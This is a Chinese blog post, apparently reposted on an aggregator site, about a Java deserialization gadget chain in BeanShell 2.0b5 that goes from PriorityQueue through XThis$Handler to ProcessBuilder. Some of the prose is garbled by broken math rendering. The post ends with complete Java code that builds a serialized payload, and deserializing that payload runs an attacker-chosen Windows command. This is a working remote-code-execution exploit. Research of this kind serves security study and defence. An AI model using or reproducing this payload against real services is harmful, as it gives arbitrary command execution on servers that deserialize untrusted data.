当前位置: 代码迷 >> 综合 >> beanshell 反序列化
  详细解决方案

beanshell 反序列化

热度:48   发布时间:2023-11-26 20:50:15.0

beanshell 反序列化

依赖

<dependency><groupId>org.beanshell</groupId><artifactId>bsh</artifactId><version>2.0b5</version>
</dependency>

Gadget

/** Gadget:* PriorityQueue#readObject* XThis$Handler#invoke* XThis$Handler#invokeImpl* compareTo(自定义的函数字符串)* ProcessBuilder#start* */

用 XThis H a n d l e r 类 作 为 处 理 器 创 建 动 态 代 理 对 象 , 并 把 代 理 对 象 放 进 P r i o r i t y Q u e u e 中 , 这 时 在 反 序 列 化 P r i o r i t y Q u e u e 对 象 时 调 用 X T h i s Handler 类作为处理器创建动态代理对象,并把代理对象放进 PriorityQueue 中,这时在反序列化 PriorityQueue 对象时调用 XThis HandlerPriorityQueuePriorityQueueXThisHandler#invoke 方法,XThisKaTeX parse error: Expected 'EOF', got '#' at position 8: Handler#?invoke 方法调用 XTh…Handler#invokeImpl 方法

image-20220123193734051

invokeImpl 调用 This#invokeMethod 方法,利用 PriorityQueue 触发代理对象的 invoke ,传入的 methodName 为 compareTo ,args 为 PriorityQueue 对象中的元素值

image-20220123194015431

跟进 invokeMethod 方法,从 namespace 属性中获取获取 methodName 方法名,参数类型为 args 类型的 BshMethod ,然后执行

image-20220123194233288

根据 PriorityQueue#siftDownComparable 方法可以知道 methodName 为 compareTo ,参数类型为元素的类型

image-20220123194612278

最后就是怎么把方法放进 namespace 属性中了,Interpreter#eval 方法可以把一个字符串函数放进 Interpreter.globalNameSpace 属性中

image-20220123194947991

最后实例化 XThis 对象时把 Interpreter.globalNameSpace 传进去即可

public class BeanShell {
    public static byte[] getSerializeData() throws Exception{
    String compareMethod =" compareTo(java.lang.String obj1) {\n" +" new ProcessBuilder(new String[]{\"C:\\\\Windows\\\\System32\\\\cmd.exe\",\"/c\",\""+ParseArgs.cmd+"\"}).start();\n" +" }";Interpreter interpreter = new Interpreter();interpreter.eval(compareMethod);XThis xThis = new XThis(interpreter.getNameSpace(),interpreter);InvocationHandler invocationHandler = (InvocationHandler) Reflect.reflectGetField(xThis, "invocationHandler");Comparable proxy = (Comparable) Proxy.newProxyInstance(Class.class.getClassLoader(), new Class[]{
    Comparable.class}, invocationHandler);PriorityQueue priorityQueue = new PriorityQueue();priorityQueue.add("1");priorityQueue.add("2");Object[] queue = (Object[]) Reflect.reflectGetField(priorityQueue, "queue");queue[0] = proxy;byte[] bytes = SerWithUnSer.serialize(priorityQueue);return bytes;}public static void main(String[] args) throws Exception{
    ParseArgs.parseArgs(args);byte[] bytes = getSerializeData();SerWithUnSer.unSerialize(bytes);}
}